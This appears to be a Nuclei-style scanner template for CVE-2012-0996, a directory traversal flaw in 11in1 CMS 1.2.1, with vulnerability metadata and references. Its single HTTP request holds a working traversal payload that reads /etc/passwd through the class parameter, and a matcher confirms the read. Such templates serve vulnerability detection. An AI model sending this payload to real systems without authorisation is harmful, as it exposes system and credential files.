id: CVE-2012-0996

info:
  name: 11in1 CMS 1.2.1 - Local File Inclusion (LFI)
  author: daffainfo
  severity: medium
  description: Multiple directory traversal vulnerabilities in 11in1 1.2.1 stable 12-31-2011 allow remote attackers to read arbitrary files via a .. (dot dot) in the class parameter to (1) index.php or (2) admin/index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and compromise of the affected system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36784
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0996
    - https://www.htbridge.ch/advisory/HTB23071
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0996
    cwe-id: CWE-22
    epss-score: 0.09794
    epss-percentile: 0.95055
    cpe: cpe:2.3:a:11in1:11in1:1.2.1:stable_12-31-2011:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 11in1
    product: 11in1
  tags: cve,cve2012,lfi,edb,11in1,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?class=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e2a59fd5cfc05ade66442f37e7b765b4e3e6080d3f6e17ea56a0ea7030b5750f02202637d34f7a80202e5522e26c565869fe7d9f9e3384a6425885db56f1b07bc4d3:922c64590222798bb761d5b6d8e72950